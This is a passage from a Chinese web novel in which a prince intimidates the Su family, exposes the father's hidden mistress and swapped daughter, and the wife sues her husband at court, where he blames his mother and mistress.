一盏茶的功夫后,隔壁屋中,楚御礼坐在椅子上看着跪在地上依旧被蒙着眼睛的几人,他的手指轻轻地在红木椅的扶手上敲打着,直到跪在地上的苏建明疯狂磕头认错之后,楚御礼才对青砚抬手示意。
青砚让人解开了蒙着几人眼睛的黑布。
几人几乎一整天没有见光,此时乍然见到烛光都觉得有些刺眼,等适应了光亮,看到坐在屋中的人,苏家所有人都皱起了眉头。
苏建明看着楚御礼,语气有些生硬,“不知殿下此举意欲何为?”
“哎哟,王爷欺负人了啊,青天白日就上门绑架人,还有没有天理了啊!”邹氏是直接哭喊了出来,“我要见皇上,我要告御状!”
“青砚!”楚御礼被吵得额头的青筋直跳,他用如同看死人的眼神看着邹氏,“太吵了。”
青砚面无表情地走过去一把卸了邹氏的下巴。
邹氏只觉得脸疼,接着张嘴就只会流口水,说不出话来了,她惊恐地看着楚御礼,后者嘴角勾起一抹恶劣的弧度,“想死的话,本王也可以送你一程。”
邹氏直接晕了过去。
楚御礼懒得再理她,转而看向苏家其他人,他目光缓缓落在吕氏身上,“以后你们若再来烦她,刺激她,本王会送你们全家上黄泉,明白了吗?”
吕氏不解地看着楚御礼,“是她让你来警告我们的吗?”
苏继业还不知道家中外室的事情,莫名其妙地被人从书院绑过来,现在还被死亡警告,他沉不住气了,他扬声道:“你是王爷就可以随便杀人了吗?姜黎婳是我们...”
啪!
青砚一个巴掌落在苏继业脸上,如同没有情绪的机器,“王妃的名讳岂是你们能直呼的。”
苏继业还要说话,却被苏承印拉住了,苏承印抬头看向楚御礼,“以前是我们忽略了她,但我们毕竟是一家人,一家人把误会说开了就好了,我们以后会弥补她的。”
“本王把你们抓来不是与你们商量,而是给你们最后一次警告!”楚御礼站起来走到苏建明面前,“苏建明管好你的妻儿,若他们再敢找婳儿,本王让你的四个儿女都不得好死。”
苏建明身子猛地一僵,他抬头看着楚御礼,额头上冒出汗水,他怎么知道的?
吕氏却怔住了,她缓缓抬头看着楚御礼,就连一个外人都知道的事情,苏建明竟然瞒了她这么多年!
苏继业听到楚御礼这话,冷哼,“说得你多在乎姜黎婳一样,我们苏家四个儿女,你还不是把姜黎婳算计进去了!”
楚御礼看了苏继业一眼,冷嗤,“蠢货。”
苏建明害怕楚御礼把自己的秘密抖出来,他连忙道:“王爷,都是臣管家不严才会让内子过来打扰了王妃,臣保证今后我们苏家绝对不会再有人过来打扰王妃,求您大人大量,饶了臣全家这一次!”
“她今日晕倒若有个好歹你们全家死十次都不够!”楚御礼眼神冰冷的扫了苏建明一眼。
吕氏听到姜黎婳晕倒了,她想问姜黎婳怎么了,但是却被楚御礼那嘲弄的眼神看得不敢问出声。
苏继业蹙眉,“她晕倒了关我们什么事?”
“业儿,你别说了...”吕氏眼眶红红的拉了拉苏继业。
苏继业抽回自己的手袖,不服气地看着楚御礼,“你有本事就把我杀了!不然你私自绑架我们的事情,我定会闹得人尽皆知的!”
“那就杀了吧。”楚御礼侧眸看向青砚,“人死之后,丢回苏府,放把火把苏府烧了。”
楚御礼说完转身就要走,青砚拔出匕首朝苏继业逼近,苏继业被吓得一屁股坐在地上连连往后退,他惶恐的看着青砚,“你别过来!杀人犯法的!”
“是犯法,但是没人知道是我杀了你。”青砚说着一把揪起苏继业的头发,朝着他的脖子抹去。
吕氏扑过来双手抓住锋利的匕首,哭着道:“我错了,是我错了,求王爷放过我儿,我保证以后再也不来烦王妃了!”
已经走至院中的楚御礼脚步顿了顿,他回头看向吕氏,“以后她只是姜氏女,与你们苏家再无关系,你们明白了吗?”
吕氏咬着嘴唇,她眼泪一滴一滴地从眼眶滑落,半晌之后她颔首,“我们明白,我再也不会打扰王妃了。”
楚御礼转身离开了,青砚也松开了苏继业,他冷冷的扫了苏家人一眼,“我们要杀了你们易如反掌,若你们真的想死,就把今夜的事情说出去,我可以保证,让你们苏氏一族从此在世上消失。”
“我们不会说的,我们绝对不会说的!”苏建明惶恐地点头。
青砚轻蔑地扫了苏建明一眼,看向苏继业,“蠢货,一会儿给你一个惊喜。”
苏继业平日为人高冷霸道,也不怕世家子弟,与人打架也是常事,但这样真的动刀抹脖子的事情还是第一次,此时已经被吓得不敢说话了。
苏承印却隐隐有一种不好的预感,他抬头看向抬步走出去的青砚,却不敢说话。
第106章 揭开苏家遮羞布
青砚出来,见楚御礼还在院中站着,他连忙走了过去,楚御礼对他吩咐了两句,这才抬步离开了。
青砚看着自家主子离开的方向,眼角抽了抽,他看向暗处某个地方,感叹,“鹤儿啊,得罪谁都不要得罪主子,他这真是无差别攻击苏家所有人啊,接下来苏家有好戏看了。”
回应他的事窸窸窣窣的响动声,青砚知道那是沉鹤跟着主子离开了。
他转身朝关着苏家人的屋子走去。
楚御礼回来之后又去书房换了一身衣裳,重新洗漱了一番才回了梨月居,因为刚冲了凉又是从外面回来,他身上带着一股凉意,睡得有些热的姜黎婳感受到凉意就朝他这边挤了过来,楚御礼十分惬意地伸手搂住她阖上眼睡觉。
另一边苏家人不解为什么楚御礼都走了,这些人还不放他们离开。
苏建明生怕自己一不小心说错话就被抹了脖子,他小心翼翼地看着青砚,轻声问道,“这位侍卫大哥,我们可以回去了吗?”
青砚瞧着态度如此卑微的苏建明,心头更瞧不起他了,又渣又怕死的男人,真给男人丢脸。
青砚懒得理他,站在门口不说话。
这时候邹氏缓缓醒过来,她张了张嘴要说话,却发现下巴脱臼了,依旧不能说话,她嗷嗷哭了起来。
苏建明被哭得心烦,怒骂了一声,“娘,你消停一会儿吧!”
手心还在流血的吕氏很安静,她知道自己如今是得不到姜黎婳的原谅了,那她就一定要在苏建明察觉到自己已经知道外室存在之前让苏家把这些年从她这里拿去的都吐出来!
她绝对不让苏建明好过!
她得想想回去之后该怎么做。
可计划赶不上变化,随着昭临等人把邹如意母子丢到房间里,苏家人之间的气氛凝结了。
邹如意和苏子恒被堵着嘴的,他们母子二人看到被关起来的其他人,眼神一转,立刻激动了起来,邹如意使劲哼哼,但是昭临和青砚却懒得理她。
青砚看向一脸呆滞的苏继业,嘴角勾起一抹恶劣的弧度,“现在你知道我们主子先前说的你们苏家四个儿女是哪四个了吧?”
他指着苏子恒,挑眉道,“苏子恒,你和苏承印同父异母的哥哥,也是苏清欢同父同母的亲哥哥。”
苏继业整个人如同遭受雷击了一样,他缓缓看向苏家其他人,看到苏建明闪躲的眼神,他知道了这侍卫说的是真的。
他又看向大哥和母亲,发现他们两人的表现比他平静,他嘶声问,“你们都知道了?”
苏承印闭眼,“我也是昨天才知道真相的。”他再度睁开眼,双目通红地看向苏建明,“恶心!”
苏建明气急,“逆子!你说什么!”
“我早该听赵兄的话,不该为你开脱的。”苏承印深深地吸了口气,若他早点看清楚父亲的真面目,知道那些真相,母亲也不至于和姜黎婳闹成如今这个地步。
他们说不定就还有机会挽回姜黎婳,补偿她。
苏承印想到那天姜黎婳骂他蠢货的话,忽然觉得有些好笑,他的确是一个蠢货!
当初赵兄都把真相告诉他了,他却因为不愿相信,在心头主动为苏建明开脱,导致了如今这个局面。
“哦,对了。”青砚目光扫过苏子恒和邹如意,最后定定地看着苏继业,眼神嘲弄,“你还记得你爹让你们去要你外祖父的端砚吗?那不是为了你苏承印,而是为了你们两兄弟真正的大哥苏子恒能攀上太傅的关系,不过还是胡老夫人有远见,知道他居心叵测,所以把砚台交给了我们王妃保管。”
青砚说到这里啧啧摇头,“因为这事儿,你们的好父亲卖了自己收藏多年的字画还去地下钱庄借了三万两银子才买了一副假砚台给自己的好儿子送礼。”
“不过太傅是什么人,能看得上这种蠢货?”青砚睨着跪在地上的苏子恒,“后来砚台砸手里了,六万两银子也花了,苏清欢和他两人便对帮胡老夫人看管砚台的王妃怀恨在心,所以有了前些日子咱们王妃嫉妒姐姐有父兄关爱抢了砚台的传言,和后来我们王妃与你们苏家错认亲人的戏码。”
苏建明张嘴想辩解,却被青砚一个警告的眼神吓噤声了,而邹氏不能说话,邹如意和苏子恒被捂着嘴,能说话的吕氏母子三人却惊得一个字都说不出来。
瞧着面色各异的苏家人,青砚眉头微挑,他对吕氏道,“苏清欢从小就知道自己的亲娘是谁,甚至每次拿着吕夫人你给的银钱给自己的母亲买首饰送去,人家亲生母女母慈女孝,你倒好为了一个外室的女儿,硬生生地与自己的女儿断绝了关系,真让人佩服啊。”
“还有你们两个。”青砚指着苏承印和苏继业,“苏清欢把你们当蠢货一样哄着,你们却把她当亲妹妹一样疼爱,简直蠢到家了,若我是你们两个的话,我都没脸活在这个世上了。”
苏承印紧紧地咬着牙齿,他知道青砚说的是真的。
他们的确愚蠢。
想到姜黎婳回来这些日子,他们因为苏清欢对她的恶语相向,想到她们出嫁时,他们兄弟只给苏清欢准备了嫁妆,却看都没有看姜黎婳一眼...
苏继业缓缓转身看向苏建明,他问,“所以当年是你故意换了苏清欢和姐...姐吗?”
苏建明自然不会承认,但是事已至此,他否认也毫无意义,他干脆不说话。
吕氏晃晃悠悠地站了起来,看着沉着脸不说话的苏建明,她冷笑了两声,问苏建明,“所以当年我悬崖坠马,你忽然出现相救,其实是你有意为之对吧?”
“你不信我?”苏建明瞪眼看着吕氏,“你怀疑我的真心?”
“你有真心吗?”吕氏冷笑,“花着我的嫁妆养你和别人的儿子,还把我的女儿扔了把你和外室的女儿接回家!你这种恶毒的人有心吗?”
吕氏转身朝外面走,她不能坐以待毙,她要让苏建明付出代价!
青砚瞧了一眼外面逐渐褪去黑暗的天空,眉梢微挑,“天快亮了,苏大人你还是带着你的家眷赶紧离开吧,若让人知道你们苏家人悄悄在靖王府过夜,怕是会让皇上认为你对靖王有所不舍,对陛下存有二心吧。”
“这还是靖王府?”苏建明吓了一跳,赶紧爬起来,对着其他人吼道:“还不快起来离开!”
靖王当年之所以会死,就是他给身为太子的皇上下了毒,差点害死了太子...
苏建明几乎是带着苏家其他人连滚带爬地往屋外走,但...
“啊啊啊...”被卸了下巴,双腿发软的邹氏被留在了原地。
青砚冷眼看着,挑眉,“苏大人想把亲娘留在这儿自生自灭吗?”
第107章 吕氏状告苏建明
苏承印和苏继业兄弟二人是不可能帮苏建明去抬邹氏的,苏建明只能喊苏子恒,但父子两人养尊处优这么些年哪儿来的力气抬得动一个一百五十多斤的老妇人。
两人试了好几次都没办法把人挪动,苏建明气急败坏地朝站着不动的邹如意吼道,“还不过来帮忙!”
邹如意连忙应声,过去帮忙一起抬邹氏。
苏承印兄弟二人看着齐心协力的三个人,只感觉自己过去十多年的时光特别的讽刺。
苏承印冷笑了一声,转身大步离开。
苏继业见状快步跟了上去。
苏建明等人从靖王府出来的时候已经快卯时了,这些日子以来吏部对他的考核特别严,今日小朝若自己不去的话,怕过不了两日自己这个工部侍郎的位子都要坐不住了。
出了靖王府所在的街道苏建明就把邹氏交给了邹如意母子,“你们带母亲去医馆,我先去上早朝。”
他抬手整理了一下凌乱的衣裳,又拍了拍带灰的帽子,匆匆往皇宫的方向而去。
另一边,吕氏从靖王府出来之后就直接去了顺天府,她拿起鼓槌敲响了顺天府外面的大鼓。
大清早的顺天府尹崔国书听到有人鸣冤鼓急得从床上摔了下来,叫侍妾给自己穿好衣裳后就连忙上了公堂,等看到被衙役带到大堂上的吕氏后,他愣住了。
崔国书看了跪在地上的吕氏好一会儿,他才沉声问,“堂下何人,有何冤屈?”
“大人,妾身要告妾身的丈夫苏建明,他二十年前设计害我坠崖,造成救妾身的假象骗婚,妾身还要告他宠妾灭妻与外室一同杀害我的女儿,把外室女放到妾身身边养育!后来真假千金的事情暴露,他害怕当年的事情暴露,还杀了奶娘灭口。”
吕氏跪在地上一边说一边流泪,想到这二十年自己被苏建明哄着把嫁妆拿出来补贴家用,他却心安理得的利用永宁伯府为他铺路,还与外室联合把她的女儿丢掉,换了外室女回来享尽自己的宠爱,而她的女儿好不容易找回来,他却让她不要厚此薄彼,说稚子无辜。
好一个稚子无辜,她的女儿当时才生下来啊,难道就不无辜了吗?
想到自己在姜黎婳回来之后对姜黎婳的态度,又想到自己如今与亲女儿已是陌路,吕氏就悔恨得想哭。
她伏在地上大声哭道:“求大人做主!为妾身讨回公道!”
崔国书:“......”
.......
原本嘈杂的朝堂忽然安静了。
苏建明的腿软了,他扑通一声跪在地上朝着皇帝使劲磕头,“陛下,臣冤枉啊!您要相信臣啊!”
皇帝冷冷地看着跪在地上的苏建明,又看了一眼如今站在朝堂前方的大儿子,他才不信。
“苏建明,你在朕这儿可还有半点信誉可言?”皇帝没有动怒,他是帝王,帝王要喜怒不形于色,要沉稳,要神秘,他的手轻轻拍了一下膝盖,身子微微往前俯身,他坐在龙椅上,高高在上的看着苏建明,“宠妾灭妻,调换女儿,迫害嫡女,这些是不是事实?”
苏建明咬牙摇头,“不是,这些事情都不是臣做出来的啊!”
皇帝都要被苏建明的无耻给气笑了,他看着苏建明,眉梢微挑,“不是你,谁有那个胆子?你要说稳婆还是说奶娘?她吃撑了把你苏家的两个孩子调换了,还搭上一条性命?”
苏建明心头一跳,他曾经是打定了主意认为不会有人知道苏清欢的身世,所以才弄死那个奶娘,把一切的错都推到奶娘身上的,如今若顺天府的人想要查,当年的事情有很多的漏洞。
若他想把这件事情推到那个娘奶身上的话,肯定自己肯定也会被牵连。
他要怎么办?
要如何才能自保?
楚御礼站在最前方看着眼珠不停转动的苏建明,嘴角勾起一抹冷漠的弧度,他可没他娘子那么心善,苏建明和吕氏就应该狗咬狗,最后两败俱伤,再也不能来他娘子面前烦她。
对于这种没有丝毫信誉可言的人来说,断绝关系可不能让他们消停,以后说不定还是会以那点血缘关系来威胁他娘子,但要让苏家人死,不能让他和娘子亲自出手,所以最好的办法就是让苏家人自相残杀。
吕氏倒是没让他失望。
楚御礼淡漠的收回目光,不再说话。
沈遇知如今已经从师父那里知道了自己的小师妹就是御王妃,加之当时小师妹当时说苏家真假千金的腌臜事儿时他是在场的,后来朱雀大街的事情,他也让小厮去打听了。
苏建明的所作所为真的让他唾弃。
沈遇知站出来冷笑着问,“苏大人怎么不回答陛下的话?是因为找不到借口了吗?”
苏建明诧异的看了沈遇知一眼,不知是不是他的错觉,他总觉得从上次姜黎婳与他们苏家没了关系后,这沈太傅每次看他的眼神都特别的不善,这次更是恶意满满。
不过当务之急不是沈遇知。
苏建明悔痛的闭上眼睛,半晌之后才睁开,对着皇帝磕头,“陛下,臣有罪啊!”
皇帝包括众臣都看着他。
皇帝坐直了身子,挑眉,“哦?”
苏建明伏在地上没有看皇帝的脸色,语气全是悔恨之意,“臣不该包庇母亲和外室的,臣应该在知道真相后就处置了她们啊!”
皇帝眼眸微垂,眼底闪过一丝冷光。
他还以为苏建明即便再坏,但总有担当,会承认自己的罪行,没想到最后竟然把罪名推到了他的母亲和那个外室的头上?
与眼神冰冷的皇帝不同,楚御礼嘴角牵起一抹浅浅的弧度,苏建明果然不负他的重望,把他的亲娘和那个外室推出来了。
沈遇知轻蔑地哼了一声,“你的意思是说这都是你母亲和那个外室做出来的?”
苏建明一脸哀痛地点头,“是这样的。”
“你娘不护着嫡出的子女,却喜欢一个庶出的?永宁伯府的小姐她不喜欢,却喜欢一个身份不明的外室?”沈遇知不屑的翻了一个白眼,“苏大人,你是这是把皇上和我们百官当傻子?”
“臣不敢。”苏建明连忙又磕头,“臣不敢欺瞒陛下,臣的母亲之所以对臣那外室相当喜欢是那个外室是她的侄女儿。”
苏建明把心头想好的说辞连忙说了,“臣当初迎娶表妹也是因为母亲对表妹实在喜欢,臣入京赶考,怕独留孤母在家有个好歹,便同意了母亲的说法,接了表妹过来照顾母亲。”
“照顾到你床上去了?”沈遇知冷笑,“还照顾出儿子了。”
苏建明:“......”
你不说话没人当你是哑巴!
第108章 邹氏替儿子背锅,破防了
皇帝自然知道苏建明的话漏洞百出,但苏家如今已经与皇家没有丝毫关系了,他懒得为了一个臣子的家事费心。
刚刚之所以那样说不过是想瞧瞧这苏建明究竟还值不值得他这个当皇帝的保下来继续留用。
现在看来,一个连自己的谎言都圆不满的废物,的确用不上了,工部也不是没有人才。
皇帝看了沈遇知一眼,淡笑道,“太傅,你今日可有些激动了。”
沈太傅虚长皇帝两岁,如今才四十有二,此时听皇帝这么说,他恭敬的对皇帝拱手,“臣就是疾恶如仇。”
皇帝笑了,“老师你还是这么直率。”
听皇帝叫沈太傅老师,众臣赶紧垂眸眼观鼻鼻观心。
沈太傅则对着皇帝躬身,“让陛下见笑了。”
皇帝不在意的笑了笑,接着看向跪在地上的苏建明,“苏建明,你管家不严,导致嫡庶血脉混淆,明知真相却视而不见,还闹出了人命,如今又被夫人状告宠妾灭妻,实在是难当工部侍郎的重任,朕罢黜你的职位,令你处置好家中事务,若处置不好,朝堂你就别回来了。”
“陛下,臣真的冤枉啊,臣定会大义灭亲处理好家中事务的,求陛下给臣一个机会吧!”苏建明连忙哭着喊道。
皇帝却不想再听他哭着喊冤,“够了,是不是真的冤枉,你自己清楚,若你连这点事情都处理不好的话,那官职都别想了。”
皇帝说罢从龙椅上站起来,大步离开了大殿。
......
姜黎婳从梦中醒来的时候已经辰时了,她翻身坐起来喊知夏进来。
知夏用铜盆端着温水进来放在盆架上,又走到桌边给姜黎婳倒了茶水润嗓子,“王妃,身子可有哪儿不爽的?”
姜黎婳疑惑地看了她一眼,“嗯?”
知夏接过姜黎婳递回来的茶杯,轻笑道,“昨夜奴婢和张嬷嬷打听过了,张嬷嬷说女子怀孕晨起会恶心,还会食欲不振,所以奴婢想问问您有没有什么不舒服的地方。”
姜黎婳:“.......”
一个假孕的人哪儿来那么多不舒服的地方。
不过...
姜黎婳咬了咬嘴唇,这腿根的确很酸软。
想到楚御礼昨夜勤奋耕耘了那么久,今天还能那么早起来去上早朝,她忽然对象小说里面这些男人的精力有了新的认知。
“准备一下入宫去给母后请安吧。”姜黎婳走到梳妆台前坐下,“妆容淡一点,不要太浓了。”
怀孕要有怀孕的样子嘛。
知夏笑着应是,伺候姜黎婳梳洗更衣梳妆。
等一切弄好,铃铛就端着早膳进来了,看到姜黎婳,她脸色激动地说道,“王妃,厨房的采买给奴婢说了今天早上外面的大新闻,你一定感兴趣!”
“什么新闻?”姜黎婳说着端起小瓷碗喝了两口清粥吃了一些爽口的凉菜。
铃铛就站在旁边绘声绘色地把吕氏在顺天府状告苏建明的事情给说了,“听说现在那邹老夫人还倚老卖老的在顺天府外骂吕夫人不守妇道坏她儿子名声呢。”
姜黎婳听了之后心头没有半点波澜,看来这吕夫人还不算是特别的无可救药。
不过这些与她都没有多大的关系了。
又吃了半个馒头,姜黎婳放下碗筷,“所以现在战况如何了?”
“现在永宁伯老夫人也去了!”佩玉急忙从外面走进来说道。
她在听说这事儿之后就立刻让人去打听了,甚至是实时朝王府送消息,就怕自家王妃想要听最新消息,却没人知道。
这些日子小姐虽然说是与苏家断绝了关系,与苏家再无瓜葛了,但是那里不仅是她亲生的父母,她害怕小姐心头还有牵挂,所以对苏家的事情也时刻关注着的。
姜黎婳眉头微蹙,“外祖母可带人了?”
她倒不怕别的,就怕邹氏发疯伤到外祖母。
“孟夫人也去了,带了府兵的。”佩玉低声道。
姜黎婳应了一声不再过问这件事情,她接过知夏递过来的的漱口水漱了口,起身,“入宫吧。”
......
顺天府大门外。
邹氏坐在地上哭天喊地,“自古男人三妻四妾天经地义!你因为你丈夫有个外室就把他告到顺天府来,你还要不要脸了!”
“哎哟,我的命真苦哟!儿子娶个大小姐回来,不敬婆母就算了,还要害我儿蹲大狱,我儿是造了什么孽啊!”
“你这个老虔婆还要不要脸!”胡氏气得脸色发紫,她伸手指着坐在地上撒泼的邹氏,厉声骂道:“你儿子当初明明已经成亲生子却利用那种手段上我们家求娶!这些年你们家更是用我女儿的嫁妆度日,她给你金银珠宝你就给个笑脸,不给你就说她不敬婆母!没个好脸色!”
胡氏虽然生气,但是从小在大户人家长大,又当了这么些年的伯府主母,所以理智一直都在,加上逻辑清楚,不像邹氏一样,只会在地上撒泼胡乱攀扯。
邹氏听胡氏骂自己,立刻嚷道:“她身为儿媳,用金银珠宝孝敬公婆不应该吗?哎哟啊,我命苦啊,用点儿媳妇的银钱就被人瞧不上啊!如今这儿媳还要和我儿对簿公堂,上天不公啊!”
“上天的确不公!”胡氏没好气地瞪了一眼站在一旁只会哭不说话的女儿,厉声道:“我女儿本是天之骄女,却被你们如此算计,最后拿着嫁妆养你们苏家全家不够,还要被你们苏家算计没了女儿!替一个不要脸的外室养女儿!你们苏家吃我女儿的用我女儿的,苏建明那个不要脸的更甚,不仅用我女儿的银钱养你们苏家人,还用我女儿的嫁妆养外室!你们是不是还打算害死我女儿以后吃绝户?”
胡氏在面对自己女儿的时候没有办法,但是在对待自己不在意的泼妇,那是不留丝毫情面的。
她指着邹氏喝道:“瞧你这副撒泼打野的模样,大家都知道你养不出什么好儿子来!”
她说完又指着吕氏,“你也是一个眼瞎的!当年马车差点坠崖一事我就觉得蹊跷,让你三思而后行,你却因为一点救命之恩和对方的容貌就失了心智,如今自讨苦吃也是活该!”
吕氏闻言嚎啕大哭,“娘,女儿错了。”
孟雪莲在一旁冷眼旁观,她觉得小姑子如今的一切都是自找的,当年他们全家都劝小姑子,但小姑子却丝毫不在意,非要嫁给一个空有容貌的穷苦书生,后来更是被猪油蒙了眼,根本看不到自己的亲女儿。
如今报应来了吧。
今天若不是害怕婆母单独前来有个好歹,她才不会出来丢人现眼。
“我儿子救了她,她以身相许本就应该!”邹氏爬起来指着胡氏的鼻子大骂,
“你就是个坏心肠的,就是你挑拨的...”
“把人抓了。”
邹氏还没说完,不知何时站在顺天府大门口的崔国书指着大杀四方的邹氏和尽量缩小自己存在感的邹如意,“苏建明指认你们两人调换他的嫡女还杀了奶娘灭口,你们有什么话,留着一会儿公堂上再说。”
他说完转身就朝公堂里面走。
第109章 吕氏苏建明对簿公堂
随着崔国书的话音落下邹氏和邹如意姑侄二人都僵住了,邹氏更是忘记了先前骂人的话。
周围的人群此时却热闹了,看热闹的吃瓜群众对着两人指指点点议论纷纷。
“一看那个老货就是个不要脸的,说不定还真的干得出来那种事情来。”
“那个外室从头到尾一直缩小自己的存在感,不顾自己的姑母被吕家人责骂,一看就是一个惯会装柔弱的小贱货。”
“你瞧那个老货现在的脸色,她肯定没想到自己做了恶事最后被自己的儿子背刺吧,简直大快人心!”
邹氏听着这些讨论的声音,气得差点晕了过去,她眼前发黑,刚想装晕,就听到胡氏道:“看吧,我就说你这种人养不出什么好儿子来,现在应验了吧?”
胡氏看着脸色苍白的邹氏,冷笑,“你为儿子冲锋陷阵,你儿子却在后面捅你一刀,这种感觉好不好受?”
胡氏说罢哼笑了一声,在孟雪莲的搀扶下朝大堂走去,“你们害了我外孙女,这笔账咱们今日就好好算算。”
胡氏无视了想伸手搀扶自己的吕氏,走上顺天府衙门的台阶,她的外孙女是绝对不会再认苏家人的了,如今苏家是门楣已经坏了,她的外孙女不回来也罢,她就当婳儿是亲孙女,现在她要去给她‘死去’的外孙女报仇了。
公堂上。
崔国书让人给胡氏安排了座椅,胡氏坐在公堂旁边看着跪在地上的女儿和邹氏姑侄二人。
崔国书让人念了罪状,里面细数了邹氏姑侄二人让人调换婴孩的细节,又详细写了两人在事情暴露之后杀了奶娘灭口的事情。
跪在地上的邹氏和邹如意两人听到这罪状上的细节,几乎觉得天都塌了,邹氏摇摇欲坠的摇头,“不是这样的啊!我没有做过那些事情啊!”
邹氏当年虽然知道且默许了苏建明和邹如意二人调换女婴的事情,但是根本没有亲自参与进去啊!
还有杀了那个奶娘的事情,她更不可能参加啊!
她一个老太婆哪儿来的力气杀人?
“你有没有做过本官已经派人去查了,等找了你身边伺候的人来问过,就知道了。”崔国书说着面色沉沉的看向吕氏,“你丈夫说这一切都是他母亲联合外室所做,你可还有其他证据证明他才是调换你女儿凶手的证据?”
吕氏眼泪一滴一滴的从眼眶中滑落下来,她没有证据,她一点证据都没有,她知道苏建明在外面有一个外室,他们还有一双儿女的事情也是她儿子告诉她的。
崔国书瞧着吕氏这模样,他就知道吕氏没有证据,他蹙眉收回目光看卷宗。
认真看过卷宗上吕氏的诉求之后,崔国书再次抬头,“你可还有其他诉求?”
“和离!”胡氏从座椅上站起来,“让苏家吐出我女儿的嫁妆,判他们两人的婚姻无效,让他们两人和离!”
“不行!我不同意!”邹氏嘶声吼道:“吕月琴已经是我们苏家的儿媳妇了,我绝对不会同意他们和离的!想要我们退回嫁妆更是不可能!”
“你不同意?你个杀人犯可没有说话的权利!”胡氏目光凉凉的看了邹氏一眼,冷嗤,“你儿子都不要你了,你还帮你儿子争取利益,真是感动天感动地啊。”
邹氏想起来了,她被儿子背刺了,她现在是杀人犯...
“我没有!我没见到我儿子,我不会相信的!”邹氏大声吼道,“肯定是你们诓我的!我没见到我儿子之前,我是不会相信我儿子告发我的!”
“传苏建明!”崔国书蹙眉道。
先前害怕这三人串供,他才让人把苏建明带到了后堂,还让人在后堂守着苏建明的,现在需要对峙,自然就要把苏建明喊出来了。
被罢官的苏建明肉眼可见的憔悴了,他走出来没有看邹如意和邹氏,而是懊悔的看着吕氏,红着眼眶道:“月儿啊,是为夫对不住你啊!我竟然不知道她们调换了我们的女儿,害得...”
“你住口!你不配提她!”吕月琴的心头一直憋着一口气,先前因为没有看到苏建明,那口气一直吐不出来,现在看到苏建明,又听到苏建明说这么无耻的话,她气得上前开始撕扯苏建明,“都是你,是你们害死了我的女儿!是你们骗了我!”
站在人群中的苏子恒眉头紧紧地皱在一起,他心头在想接下来该怎么办,如果母亲被抓了,那他是不是就没有好日子过了?那他想娶沈归雁的事情是不是办不成了?
另一边苏承印和苏继业看着对簿公堂的父母,两人面容呆滞,不知如何是好,苏承印更是,脑海中全是姜黎婳骂他蠢货的画面。
苏继业死死地咬着后槽牙,为什么好好的家,变成这样了?
苏建明被吕月琴厮打,头发都拽下来一把,他忍无可忍使劲推开吕月琴,厉声喝道:“够了!为了你我连母亲都告发了,你还要闹什么?”
吕月琴被苏建明推倒在地,手心那刚结痂的伤口又被扯开,她忍着手心火辣辣的痛感,坐在地上冷笑,“闹?苏建明你们害我丢了女儿!更‘害死’了我女儿,你现在说我在闹?”
“你女儿怎么死...”苏建明说到这里猛地僵住了,他想到昨夜楚御礼对他的警告,他如今只是丢了官职,但只要处理好了家事,他可以恢复官职的,再不济就算外放也还有官身,若是自己现在再把姜黎婳牵扯出来,真的把楚御礼那个疯子惹到了,说不定真可能连命都没有了!
苏建明到嘴边的话转了弯,他叹了口气,对吕月琴叹道,“我说了,当年的事情都是母亲和邹如意两人背着我计划的,那是我和你的亲生女儿,我怎么可能会害她呢?虎毒不食子啊。”
“所以你禽兽不如!”胡氏忍着心头的怒意看着苏建明,“听说你还在城南买了房子给那个外室住?把房子卖了,填上月琴的嫁妆,你们两人和离,这件事情我们永宁伯府就不追究了,另外两个孩子,他们要留在苏家还是跟着月琴一起离开,他们自己选择。”
胡氏懒得再和苏家人在这里攀扯,她目光冰冷地看向吕氏,“他们两个若愿意跟你走,将来永宁伯府能帮扶的我们会帮扶,若他们选择留在苏家,那我胡思维就当没有这两个外孙了,今天我给你一个机会,你是要和离,还是要和他继续过日子?”
第110章 大型背刺现场
苏建明听到胡氏怂恿吕月琴和自己和离,还要带走自己的两个儿子,当即气急道,“我不同意和离!承儿和业儿也是我苏家的子嗣,我不同意你们带走他们!”
“那就请府尹大人严查当年换女和灭口真相,若有难处我永宁伯府愿意协助大人查案。”胡氏侧首看向崔国书道。
崔国书笑了笑没有说话,他是京城的父母官,这个案件又是陛下过问过的,加上这苏家在京城并没有多少势力,只要永宁伯府不加以阻拦,他想要查清案情,还是很简单的。
不过现在上面的意思就是,如果能让苏建明母子和邹如意三人狗咬狗,就根本不用深查...
苏建明一听要严查当时的事情就急了,他沉声道:“我还有人证,跟在我母亲身边伺候的嬷嬷和外室身边伺候的人都知道她们做的事情!”
“苏建明!我是你娘,你怎么能这样对我!”邹氏先前一直不相信自己被亲儿子背刺,现在亲耳听到儿子这样对自己,她简直无法接受,当即哭着嚷嚷道:“你就是这么对我的?我含辛茹苦把你养大,你就是这样报答我的?”
邹如意更是惊惧地看着苏建明,嘶声道:“表哥,你说过要一辈子对我好的!你怎么能这样?那些事情明明都是...”
“我知道,那些都是母亲见不得你受委屈,主动提出来的。”苏建明打断邹如意的话,他沉痛地闭了一会儿眼睛,片刻之后他转身看向邹如意,“可你们害的是我的女儿啊!如意,我对你那么好,你怎么能那么做呢?”
他走过去跪在邹氏面前,“娘,指认你是儿子不孝,可儿子也是没办法啊,儿子也无法再为你遮掩真相了啊!陛下如今因为这件事情已经罢了儿子的官职,若再处理不好的话,儿子怕是再难恢复官身了。”
邹氏闻言整个人像是泄了气的球,她无力地坐在地上,原本以为供养出儿子她今后就可以享福了。
当初在儿子娶了伯府小姐之后,她故意刁难这个高门小姐来满足自己的虚荣心,后来她更觉得这个伯府小姐对他们苏家的付出是应该的,所以在儿媳妇生出女儿之后,听了侄女的哭诉,她想儿媳生的两个儿子都在苏家享福了,让她女儿与侄女的女儿换一下也没什么...
如今,她却要因为那个被调换的女儿,失去荣华富贵?
邹如意却不服气,她朝着吕氏骂道,“你才是后来者,你现在在这儿装什么委屈?若算先来后到,我的儿女才是他苏建明的嫡子嫡女!”
“你们有婚书吗?”吕氏嘲讽地看着破罐子破摔的邹如意,“没有婚书,即便是你先来又如何?你的儿子虽然占长,但却是庶开头的。”
她当年虽然一心想要嫁给苏建明,但父兄不放心,还是派人去了苏建明老家的县衙调了苏建明的身份证明,确定了苏建明没有到县衙写过婚书,她父兄才放心把她嫁给苏建明的。
所以邹如意就算先跟了苏建明又如何,还不是一个见不得光的外室!
邹如意气疯了,她指着吕月琴,“你以为他是真的喜欢你吗?他喜欢的不过是你的身份罢了!他每次去我那里的时候,都说你是一条不解风情的死鱼,他看到你都烦!”
“够了!”苏建明听到邹如意胡言乱语,站起身来一巴掌甩在邹如意的脸上,“你还敢胡说八道!”
